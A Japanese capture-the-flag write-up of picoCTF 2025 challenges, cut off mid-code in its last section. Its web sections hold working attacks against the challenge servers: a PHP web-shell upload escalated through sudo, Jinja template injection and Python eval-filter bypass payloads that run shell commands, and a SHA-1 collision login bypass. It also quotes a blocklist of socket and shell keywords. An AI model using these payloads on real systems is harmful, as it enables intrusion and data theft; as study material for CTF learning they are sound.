writeup for picoCTF 2025

picoCTFにsknbJrHighで参加させていただいて、Cognitive hackに登録している日本学生のなかで9位を取ることができました。

私は以下の問題以外とけたのでwriteupを書いていこうと思います。

General Skills

FANTASY CTF 10pts

問題文

Play this short game to get familiar with terminal applications and some of the most important rules in scope for picoCTF.Connect to the program with netcat:

$ nc verbal-sleep.picoctf.net 64240

正直よくわからないがピコピコしているとフラグが取得できた。

Rust fixme 1 100pts

問題文

Have you heard of Rust? Fix the syntax errors in this Rust file to print the flag!Download the Rust code here.

翻訳:Rustをご存知ですか?このRustファイルのシンタックスエラーを修正して、フラグをプリントしましょう!
Rustコードのダウンロードはこちらから。

とりあえずcargoをインストールして、環境を整えます。

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/en

そして、ファイルを解凍して、解凍先で

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico/fixme1/fixme1]
└─$ cargo build
Compiling crossbeam-utils v0.8.20
Compiling rayon-core v1.12.1
Compiling either v1.13.0
Compiling crossbeam-epoch v0.9.18
Compiling crossbeam-deque v0.8.5
Compiling rayon v1.10.0
Compiling xor_cryptor v1.2.3
Compiling rust_proj v0.1.0 (/home/yuma4869/Downloads/ctf/pico/fixme1/fixme1)
error: expected `;`, found keyword `let`
--> src/main.rs:5:37
|
5 | let key = String::from("CSUCKS") // How do we end statements in Rust?
| ^ help: add `;` here
...
8 | let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "...
| --- unexpected token

error: argument never used
--> src/main.rs:26:9
|
25 | ":?", // How do we print out a variable in the println function?
| ---- formatting specifier missing
26 | String::from_utf8_lossy(&decrypted_buffer)
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ argument never used

error[E0425]: cannot find value `ret` in this scope
--> src/main.rs:18:9
|
18 | ret; // How do we return in rust?
| ^^^ help: a local variable with a similar name exists: `res`

For more information about this error, try `rustc --explain E0425`.
error: could not compile `rust_proj` (bin "rust_proj") due to 3 previous errors

AIにソース丸投げしても多分解けると思うけど一つずつ見ていくと、

最初のエラーはセミコロンの付け忘れ

二つ目のエラーはprintlnの文法で、プレースホルダーが必要だが使っていない

最後のエラーはrustはret;ではなくreturn;

これらを直すとフラグが得られる。

Rust fixme 2,3 100pts

疲れたんでLLMに聞いて下さい…

Web Exploitation

Cookie Monster Secret Recipe 50pts

問題文

Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe?You can access the Cookie Monster here and good luck


問題文からCookieを注意すればよさそう。

サイトにアクセスすると、次のようなサイトにとばされたのでとりあえず適当にUsernamePassを入力してみた。

すると次のようなページに遷移した。

書いてあるようにCookieをチェックすると、secret_recipeという名前のCookieがあった

cGlうんたらかんたらはpicoのBase64なのでCyberchefでデコードする

flag: picoCTF{c00k1e_m0nster_l0ves_c00kies_AC8FCD75}

head-dump 50pts

問題文

Welcome to the challenge! In this challenge, you will explore a web application and find an endpoint that exposes a file containing a hidden flag.The application is a simple blog website where you can read articles about various topics, including an article about API Documentation. Your goal is to explore the application and find the endpoint that generates files holding the server’s memory, where a secret flag is hidden.The website is running picoCTF News.

翻訳:チャレンジへようこそ!この課題では、ウェブアプリケーションを探索し、隠されたフラグを含むファイルを公開するエンドポイントを見つける。
アプリケーションは、API ドキュメンテーションに関する記事を含む、様々なトピックに関する記事を読むことができる単純なブログウェブサイトです。あなたの目標は、アプリケーションを探索し、秘密のフラグが隠されているサーバのメモリを保持するファイルを生成するエンドポイントを見つけることです。
このウェブサイトではpicoCTF Newsが動いています。

ファイルを生成するエンドポイントを見つけると書いてあるので、なんとなくgobusterを動かしながらサイトを見てみた。

注目すべきは右上の記事である。

どうやらswaggerUIというものを使用しているらしい

swaggerUIとは、APIドキュメントを視覚的に表示するツールらしい。

通常、/api-docs/swagger といったパスで確認できるらしい。

/api-docsにアクセスすると明らかに怪しいheapdumpというパスがあるのでアクセスすると、ファイルがダウンロードされ、picoで文字列検索するとフラグが得られた。

flag: picoCTF{Pat!3nt_15_Th3_K3y_46022a05}

n0s4n1ty 1 100pts

問題文

A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.You can access the web application here!

翻訳:ある開発者がウェブサイトにプロフィール写真のアップロード機能を追加した。しかし、その実装には欠陥があり、あなたにチャンスを与えている。あなたのミッションは、提供されたウェブページに移動し、ファイルアップロードエリアを見つけることです。最終的な目標は、/root ディレクトリにある隠しフラグを見つけることです。
ウェブアプリケーションにはここからアクセスできます!


ファイルアップロードの問題だ、特に制限もなさそうなので、いきなりphpをアップロードしてみた。

PHP
<?php
    system("ls");
?>

uploads/exploit.phpにアクセスしてみる。

ちゃんと、コマンドが実行されている。

あとやることは、/rootに飛んでフラグを得ることだが、果たして権限があるのだろうか?

ヒントを見ると、sudo -l を実行してみろとのことなので実行してみると次のような結果になった。

Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on challenge: (ALL) NOPASSWD: ALL

(ALL) NOPASSWD: ALLに注目すると
(ALL):すべてのユーザー(rootユーザーを含む)で
NOPASSWD:パスワードが不要で
ALL:すべてのコマンドが実行できる
ことを示している

なので次のようなコードでroot権限でフラグを取得できる。

PHP
<?php
    system("sudo cat /root/flag.txt");
?>

flag: picoCTF{wh47_c4n_u_d0_wPHP_4043cda3}

SSTI1 100pts

問題文

I made a cool website where you can announce whatever you want! Try it out!I heard templating is a cool and modular way to build web apps! Check out my website here!

好きなことを発表できるクールなウェブサイトを作りました!使ってみて
テンプレートは、ウェブアプリケーションを構築するためのクールでモジュール化された方法だと聞きました!私のウェブサイトはこちら!

サイトは入力した文字をそのまま返してくれるそうです。

じゃあ、ということでとりあえず…

javascriptは実行できたけどだから何という感じ…

そこで問題文のSSTIです。SSTIとはサーバーサイド・テンプレート・インジェクションとのことで、詳しくはこのサイトとかみたり自分で調べてください

そして、運よく最近pythonのflaskの問題でJinja構文というものに触れていたので、私はすぐにこれを思いつくことができました。

あとは、Jinja ssti payloadとかで調べればいっぱい出てきます。

例:{{request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat flag")["read"]()}}

flag: picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_99fe4411}

3v@l 200pts

問題文

ABC Bank’s website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank’s calculator and read the flag?The website is running Here.

翻訳:ABC銀行のウェブサイトには、顧客が同銀行から融資を受けた場合の支払額を計算するのに役立つローン計算機がある。残念ながら、ローンの計算にはeval関数が使われている。これを回避すると、リモート・コード実行(RCE)が可能になります。あなたは銀行の計算機を悪用して、フラグを読むことができますか?
ウェブサイトはここで動いています。

問題文より、eval関数のbypassだそうです。pyjailというものでしょうか

サイトにアクセスするとなんか書き込めたので、試しに10*10を書き込むと、

見事に実行されました

というわけでとりあえず__import__('os').popen('ls').read()を実行してみると、

というようなエラーがでました。

どうやらosという文字は使えないようです。

ヒントにエンコーディングうんたらかんたらと書いていたので、chr関数を使って文字コードから文字列を生成することにします。

ord関数で文字をASCIIコードに変換して、それをchr関数で文字に直します。

__import__(chr(ord('o')) + chr(ord('s'))).popen(chr(ord('l')) + chr(ord('s'))).read()

ちゃんとlsコマンドが実行されました。

あとは、同じようにcat /flag.txtを実行するだけです。

__import__(chr(ord('o')) + chr(ord('s'))).popen(chr(ord('c')) + chr(ord('a')) + chr(ord('t')) + chr(ord(' ')) + chr(ord('/')) + chr(ord('f')) + chr(ord('l')) + chr(ord('a')) + chr(ord('g')) + chr(ord('.')) + chr(ord('t')) + chr(ord('x')) + chr(ord('t'))).read()

しかし、次のようなエラーが発生しました。

開発者ツールで見てみると次のようなコメントがありました。

<html lang="en">
<!--
TODO
------------
Secure python_flask eval execution by
1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
-->

正規表現でスラッシュも禁止されているようなのでスラッシュの部分だけ直接ASCIIコードを指定しました。

__import__(chr(ord('o')) + chr(ord('s'))).popen(chr(ord('c')) + chr(ord('a')) + chr(ord('t')) + chr(ord(' ')) + chr(47) + chr(ord('f')) + chr(ord('l')) + chr(ord('a')) + chr(ord('g')) + chr(ord('.')) + chr(ord('t')) + chr(ord('x')) + chr(ord('t'))).read()

pyjailもいつかちゃんと勉強したいね

flag: picoCTF{D0nt_Use_Unsecure_f@nctions68288869}

SSTI2 200points

問題文

I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :)I heard templating is a cool and modular way to build web apps! Check out my website here!

翻訳:好きなことを発表できるクールなウェブサイトを作ったんだ!入力のサニタイズについて読んだので、今は問題になりそうな文字はすべて削除している 🙂
テンプレートはウェブ・アプリケーションを構築するためのクールでモジュール化された方法だと聞きました!僕のウェブサイトはこちら!

サイトはSSTI1と同じです。

しかし同じペイロードを入力してみると、

となります。

いろいろ試してみると、{{ }}の中に、%._[があるとブロックされているっぽい

というわけで、Jinja2 sstiとかで検索をかけてみると次のサイトがヒットした。
https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

これのペイロードを片っ端から試していると、ちょうどドンピシャな記載があった。

https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

これを試してみると、

通った。あとは('id')のところを変えたらフラグ

flag: picoCTF{sst1_f1lt3r_byp4ss_060a5eb0}

Pachinko 300points

問題文

History has failed us, but no matter.Server sourceThere are two flags in this challenge. Submit flag one here, and flag two in Pachinko Revisited.Website

翻訳:歴史は我々を失望させた。
サーバーソース
このチャレンジには2つのフラグがある。フラグ1をここに、フラグ2をパチンコ再訪問に提出してください。
ウェブサイト

サイトにアクセスすると、次のようになっており、クリックすることで上の玉から下の好きな玉につなげることができる。

ソースを確認してみると、Submit Circuitを押して、いい感じの時にフラグが表示されるようだ。

はっきり言うと私はなぜこの問題が解けたのかまったくわかっていません(笑)

適当に遊んでいると、次のように全部繋げた後に、

もちろんこの時点でSubmit Circuitを押してもwrong answerと出てくるが、なぜか2の玉を上にあげると、

フラグが表示された。????

flag: picoCTF{p4ch1nk0_f146_0n3_e947b9d7}

Apriti sesamo 300points

問題文とヒント

I found a web app that claims to be impossible to hack!Try it here!
Hints: Backup files,Rumor has it, the lead developer is a militant emacs user

翻訳:ハッキング不可能を謳うウェブアプリを見つけました!こちらでお試しください!
ヒント ファイルをバックアップする。噂によると、開発責任者は過激なemacsユーザーらしい。

とりあえずアクセスすると、次のようなフォームに行く

適当に入力してみるがFailed! No flag for youと表示されてしまう。

ヒントに、Backup filesと、開発者はemacsユーザーだよと言われているので、emacs backup fileとかで検索をかけると、次のような記事を見つけた

http://yohshiy.blog.fc2.com/blog-entry-319.html

なので、http://verbal-sleep.picoctf.net:57184/impossibleLogin.php~
というURLにアクセスしてみた。

すると、コメント欄にphpコードがあった。

<?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}
?>

めんどくさいのでLLMに解読を頼んだら、解読してくれた

PHP
<?php
if (isset($_POST['username']) && isset($_POST['pwd'])) {
    $username = $_POST['username'];
    $pwd = $_POST['pwd'];

    if ($username == $pwd) {
        // ユーザー名とパスワードが同じ場合はエラー出力
        echo base64_decode("PGJyLz5GYWlsZWQhIE5vIGZsYWcZmc9yIHlvdQ=="); // ※「Failed! No flag for you」などのメッセージ
    } else {
        if (sha1($username) === sha1($pwd)) {
            // SHA-1ハッシュが一致した場合、上位ディレクトリの flag ファイルの内容を出力
            echo file_get_contents(base64_decode("Li4vZmxhZy50eHQ=")); // これは "../flag.txt" に相当
        } else {
            // どちらにも当てはまらない場合はエラー出力
            echo base64_decode("PGJyLz5GYWlsZWQhIE5vIGZsYWcZmc9yIHlvdQ==");
        }
    }
}
?>

つまり、usernamepwdsha1を衝突させたらフラグが得られるようだ。

調べてみると、2017年にGoogleがSHA-1の衝突に成功したそう。

その二つのpdfファイルが公開されているので、それらをusernamepwdに入れたらフラグを得られそう。

curlでは、-Fオプションを使うと、通常はファイルアップロードとして扱われますが、先頭に < を付けることで、ファイルの内容をそのままフィールドの値として送ることができます。

内容もそこそこ大きいですが、そこに制限はなさそうなのでいけそうです。

Bash
$ wget https://shattered.it/static/shattered-1.pdf https://shattered.it/static/shattered-2.pdf
$ curl -X POST \
  -F "username=<shattered-1.pdf" \
  -F "pwd=<shattered-2.pdf" \
  http://verbal-sleep.picoctf.net:57184/impossibleLogin.php

<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
</head>
<body style="text-align:center;">
<pre>
_ _ _ __
| | (_) (_)/ _|
| | ___ __ _ _ _ __ _| |_ _ _ ___ _ _ ___ __ _ _ __
| |/ _ \ / _` | | | '_ \ | | _| | | | |/ _ \| | | | / __/ _` | '_ \
| | (_) | (_| | | | | | | | | | | |_| | (_) | |_| | | (_| (_| | | | |
|_|\___/ \__, | |_|_| |_| |_|_| \__, |\___/ \__,_| \___\__,_|_| |_|
__/ | __/ |
|___/ |___/


</pre>
<br/>
<form action="impossibleLogin.php" method="post">
<label for="username">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="pwd">Password:</label><br>
<input type="password" id="pwd" name="pwd"><br><br>
<input type="submit" value="Login">
</form>
</body>
</html>

picoCTF{w3Ll_d3sErV3d_Ch4mp_9c79e5f6}

flag: picoCTF{w3Ll_d3sErV3d_Ch4mp_9c79e5f6}

Cryptography

hashcrack 100points

問題文

A company stored a secret message on a server which got breached due to the admin using weakly hashed passwords. Can you gain access to the secret stored within the server?Access the server using nc verbal-sleep.picoctf.net 62644

翻訳:ある会社がサーバーに秘密のメッセージを保存していたが、管理者が弱いハッシュ化されたパスワードを使っていたために侵入された。あなたはサーバーに保存された秘密にアクセスできますか?
nc verbal-sleep.picoctf.net 62644を使ってサーバーにアクセスしてください。

サーバにアクセスすると、ハッシュを聞かれた。

だいたいこういう系はGoogleに突っ込むと答えが得られるもんだ
https://md5.gromweb.com/?md5=482c811da5d5b4bc6d497ffa98491e38

password123らしい、入力すると次の問題

もう一度つっこんでみるとゲットできた
https://md5hashing.net/hash/sha1/b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3

letmeinらしい、入力するとまだ続くようだ

こんどはGoogleに突っ込んでも答えが得られなかった。

SHA256っぽいので、SHA256 unhashingとかで調べると次のサイトが出てきた
https://10015.io/tools/sha256-encrypt-decrypt

このサイトで復号してもらえた。

flag: picoCTF{UseStr0nG_h@shEs_&PaSswDs!_3eb19d03}

EVEN RSA CAN BE BROKEN??? 200pts

問題文とヒント

This service provides you an encrypted flag. Can you decrypt it with just N & e?Connect to the program with netcat:$ nc verbal-sleep.picoctf.net 53723The program’s source code can be downloaded here.
Hints:
1.How much do we trust randomness?
2.Notice anything interesting about N?
3.Try comparing N across multiple requests

翻訳:このサービスは暗号化されたフラグを提供します。あなたはNとeだけで復号化できますか?netcatでプログラムに接続してください:$ nc verbal-sleep.picoctf.net53723プログラムのソースコードはこちらからダウンロードできます。
ヒント
1.我々はランダム性をどの程度信頼しているだろうか?
2.Nについて何か面白いことに気づいたか?
3.複数のリクエストでNを比較してみる

encrypt.py
Python
from sys import exit
from Crypto.Util.number import bytes_to_long, inverse
from setup import get_primes

e = 65537

def gen_key(k):
    """
    Generates RSA key with k bits
    """
    p,q = get_primes(k//2)
    N = p*q
    d = inverse(e, (p-1)*(q-1))

    return ((N,e), d)

def encrypt(pubkey, m):
    N,e = pubkey
    return pow(bytes_to_long(m.encode('utf-8')), e, N)

def main(flag):
    pubkey, _privkey = gen_key(1024)
    encrypted = encrypt(pubkey, flag) 
    return (pubkey[0], encrypted)

if __name__ == "__main__":
    flag = open('flag.txt', 'r').read()
    flag = flag.strip()
    N, cypher  = main(flag)
    print("N:", N)
    print("e:", e)
    print("cyphertext:", cypher)
    exit()

RSA問だ~~やった~

ヒントを見るにNがおかしいらしい。

encrypt.pyのp,qを見ると、素数の生成にfrom setup import get_primes という独自のモジュールを使っている。

ヒントで、ランダム性、複数のリクエストで実行、などがかいてあるので素数がランダムではなく一致しているときがあるんだろうなーとあたりをつけてソルバーを書いた。

Python
from pwn import remote
from math import gcd
from Crypto.Util.number import long_to_bytes, inverse

HOST = "verbal-sleep.picoctf.net"
PORT = 53723
e = 65537

def get_instance():
    r = remote(HOST, PORT)
    data = r.recvall().decode()
    r.close()
    lines = data.strip().splitlines()
    N = int(lines[0].split(": ")[1])
    ciphertext = int(lines[2].split(": ")[1])
    return N, ciphertext

# 複数回リクエストして (N, cyphertext) のペアを集める
instances = []
num_instances = 10
for i in range(num_instances):
    print(f"[+] Request {i+1}")
    N, ciphertext = get_instance()
    print(f"    N = {N}")
    instances.append((N, ciphertext))

# 集めた複数のNについて、gcd計算で共通因子を探す
found = False
for i in range(len(instances)):
    for j in range(i+1, len(instances)):
        n1, ct1 = instances[i]
        n2, ct2 = instances[j]
        g = gcd(n1, n2)
        if g != 1 and g != n1 and g != n2:
            print("[*] 共通の素因数を発見!")
            p = g
            # ここでは n1 = p * q として q を求める
            q = n1 // p
            # RSAの秘密鍵 d を計算
            phi = (p - 1) * (q - 1)
            d = inverse(e, phi)
            # n1 に対応する暗号文 ct1 を復号
            m = pow(ct1, d, n1)
            flag = long_to_bytes(m)
            print("Flag:", flag.decode())
            found = True
            break
    if found:
        break

if not found:
    print("[-] 集めた N から共通因子が見つかりませんでした。")

p,qは素数なので、Nについての共通因子が得られるということは絶対にそれはp,qのどちらかです。
Nをそれで割るともう片方の素数もわかるので勝ちです。

    N = 18300720288745826987628969180084863434671700199633270143176607386127713564828715605477128540987346815186431009917196183888943234877095300279572252430472506
[+] Request 10
[x] Opening connection to verbal-sleep.picoctf.net on port 53723
[x] Opening connection to verbal-sleep.picoctf.net on port 53723: Trying 3.138.217.147
[+] Opening connection to verbal-sleep.picoctf.net on port 53723: Done
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 336B
[+] Receiving all data: Done (336B)
[*] Closed connection to verbal-sleep.picoctf.net port 53723
N = 23518685348862752993530266484691993799813775296163990719688468538973093730697914720868515657965617045605619329543209923027615769148896160870931119808387294
[*] 共通の素因数を発見!
Flag: picoCTF{tw0_1$_pr!m33486c703}

Guess My Cheese (Part 1) 200pts

問題文とヒント

Try to decrypt the secret cheese password to prove you’re not the imposter!Connect to the program on our server: nc verbal-sleep.picoctf.net 58847
Hints:Remember that cipher we devised together Squeexy? The one that incorporates your affinity for linear equations???

翻訳:あなたが偽者でないことを証明するために、秘密のチーズのパスワードを解読してみてください!
私たちのサーバー上のプログラムに接続してください: nc verbal-sleep.picoctf.net 58847
ヒント:一緒に考えた暗号を覚えてるか?君の連立方程式への親和性を取り入れたやつだろ?

サーバに接続すると次のようでした。

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico]
└─$ nc verbal-sleep.picoctf.net 58847

*******************************************
*** Part 1 ***
*** The Mystery of the CLONED RAT ***
*******************************************

The super evil Dr. Lacktoes Inn Tolerant told me he kidnapped my best friend, Squeexy, and replaced him with an evil clone! You look JUST LIKE SQUEEXY, but I'm not sure if you're him or THE CLONE. I've devised a plan to find out if YOU'RE the REAL SQUEEXY! If you're Squeexy, I'll give you the key to the cloning room so you can maul the imposter...

Here's my secret cheese -- if you're Squeexy, you'll be able to guess it: LZMLWIRDARHAKVCAUYPJWZ
Hint: The cheeses are top secret and limited edition, so they might look different from cheeses you're used to!
Commands: (g)uess my cheese or (e)ncrypt a cheese
What would you like to do?

暗号化されたものが配られ、暗号化するか何を暗号化しているかを当てるかを選べる。

一度eを押して暗号化してみようとしたけど無理だった。

What would you like to do?
e

What cheese would you like to encrypt? hello
I'm sorry I haven't had that cheese before, so I can't encrypt it!

I don't wanna talk to you too much if you're some suspicious character and not my BFF Squeexy!
You have 2 more chances to prove yourself to me!

Commands: (g)uess my cheese or (e)ncrypt a cheese
What would you like to do?

ヒントをもとにどのような暗号方式が使われているのか調べようとしましたがこういうあいまいなことはLLMに任せます。

アフィン暗号というものらしい暗号化された文字列を見てもそれっぽい

あとは任意の文字列を暗号化できたら鍵aとbが見つかるので復号できるのですが、暗号化できませんどうしましょう。

結構悩みましたが問題文が"Guess" My Cheeseであったり高評価率が異様に低いことからguess問だと予想し、チーズの名前なら暗号化してくれるのではという結論に至りました。

そして、実際にチーズの名前を入れてみると、暗号化してくれました。

Commands: (g)uess my cheese or (e)ncrypt a cheese
What would you like to do?
e

What cheese would you like to encrypt? Ackawi
Here's your encrypted cheese: CUOCSW
Not sure why you want it though...*squeak* - oh well!

I don't wanna talk to you too much if you're some suspicious character and not my BFF Squeexy!
You have 1 more chances to prove yourself to me!

Commands: (g)uess my cheese or (e)ncrypt a cheese
What would you like to do?

あとは、AckawiがCUOCSWになるような鍵a,bを総当たりで見つけて、復号するだけです。

https://cryptii.com/pipes/affine-cipher 私はこのサイトを利用しました。

Reverse Engineering

Flag Hunters 75pts

問題文

Lyrics jump from verses to the refrain kind of like a subroutine call. There’s a hidden refrain this program doesn’t print by default. Can you get it to print it? There might be something in it for you.The program’s source code can be downloaded here.Connect to the program with netcat:$ nc verbal-sleep.picoctf.net 60855

翻訳:歌詞は節からリフレインへ、サブルーチンの呼び出しのようにジャンプする。このプログラムはデフォルトではリフレインを表示しません。それを印刷させることはできますか?あなたのために何かあるかもしれません。
このプログラムのソースコードはここからダウンロードできる。
netcatでプログラムに接続する:
$ nc verbal-sleep.picoctf.net 60855

lyric-reader.py
Python
import re
import time


# Read in flag from file
flag = open('flag.txt', 'r').read()

secret_intro = \
'''Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, '''\
+ flag + '\n'


song_flag_hunters = secret_intro +\
'''

[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
CROWD (Singalong here!);
RETURN

[VERSE1]
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?

REFRAIN;

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.

REFRAIN;

Binary sorcerers, let’s tear it apart,
Disassemble the code to reveal the dark heart.
From opcode to logic, tracing each line,
Emulate and break it, this key will be mine.
Debugging the maze, and I see through the deceit,
Patch it up right, and watch the lock release.

REFRAIN;

Ciphertext tumbling, breaking the spin,
Feistel or AES, we’re destined to win.
Frequency, padding, primes on the run,
Vigenère, RSA, cracking them for fun.
Shift the letters, matrices fall,
Decrypt that flag and hear the ether call.

REFRAIN;

SQL injection, XSS flow,
Map the backend out, let the database show.
Inspecting each cookie, fiddler in the fight,
Capturing requests, push the payload just right.
HTML's secrets, backdoors unlocked,
In the world wide labyrinth, we’re never lost.

REFRAIN;

Stack's overflowing, breaking the chain,
ROP gadget wizardry, ride it to fame.
Heap spray in silence, memory's plight,
Race the condition, crash it just right.
Shellcode ready, smashing the frame,
Control the instruction, flags call my name.

REFRAIN;

END;
'''

MAX_LINES = 100

def reader(song, startLabel):
  lip = 0
  start = 0
  refrain = 0
  refrain_return = 0
  finished = False

  # Get list of lyric lines
  song_lines = song.splitlines()
  
  # Find startLabel, refrain and refrain return
  for i in range(0, len(song_lines)):
    if song_lines[i] == startLabel:
      start = i + 1
    elif song_lines[i] == '[REFRAIN]':
      refrain = i + 1
    elif song_lines[i] == 'RETURN':
      refrain_return = i

  # Print lyrics
  line_count = 0
  lip = start
  while not finished and line_count < MAX_LINES:
    line_count += 1
    for line in song_lines[lip].split(';'):
      if line == '' and song_lines[lip] != '':
        continue
      if line == 'REFRAIN':
        song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
        lip = refrain
      elif re.match(r"CROWD.*", line):
        print(lip)
        crowd = input('Crowd: ')
        song_lines[lip] = 'Crowd: ' + crowd
        lip += 1
      elif re.match(r"RETURN [0-9]+", line):
        lip = int(line.split()[1])
      elif line == 'END':
        finished = True
      else:
        print(line, flush=True)
        time.sleep(0.5)
        lip += 1



reader(song_flag_hunters, '[VERSE1]')

入力部分にだいたい脆弱性があるので見ていくと、ユーザーの入力がsong_linesに書き込まれています。

ここでなにかできるのでしょう。フラグはsecret_introにあって通常はアクセスできませんが行けるようにしたいです。

RETURNというものがあって、これで好きなところに行けそうです。セミコロンで分割しているので、;RETURN 0でフラグを得られます

Crowd: ;RETURN 0

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.

We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_250bd6ef}

Quantum Scrambler 200pts

問題文

We invented a new cypher that uses “quantum entanglement” to encode the flag. Do you have what it takes to decode it?Connect to the program with netcat:$ nc verbal-sleep.picoctf.net 51316The program’s source code can be downloaded here.

quantum_scrambler.py

Python
import sys

def exit():
  sys.exit(0)

def scramble(L):
  A = L
  i = 2
  while (i < len(A)):
    A[i-2] += A.pop(i-1)
    A[i-1].append(A[:i-2])
    i += 1
    
  return L

def get_flag():
  flag = "picoCTF{dummy}"
  flag = flag.strip()
  hex_flag = []
  for c in flag:
    hex_flag.append([str(hex(ord(c)))])

  return hex_flag

def main():
  flag = get_flag()
  cypher = scramble(flag)
  print(cypher)

if __name__ == '__main__':
  main()

サーバに接続するととても長い配列が与えられる。

[['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']], '0x79'], ['0x74', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b']], '0x68'], ['0x6f', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']], '0x79']], '0x6e'], ['0x5f', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70', [['0x70', '0x69'], ...

次のようなコードを実行した。

Python
import ast

cypher_str = "" #取得した暗号文 

# 文字列をPythonオブジェクトに変換
cypher = ast.literal_eval(cypher_str)

for item in cypher:
    print(item)

結果
['0x70', '0x69']
['0x63', [], '0x6f']
['0x43', [['0x70', '0x69']], '0x54']
['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b']
['0x70', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']], '0x79']
['0x74', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b']], '0x68']
['0x6f', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']], '0x79']], '0x6e']
...

これをみてはじめと最後をつなげればフラグになりそうだなと漠然と思った。
picoCTF{ → 70 69 63 6f 43 54 46 7b

なので次のコードを実行した。

Python
import ast

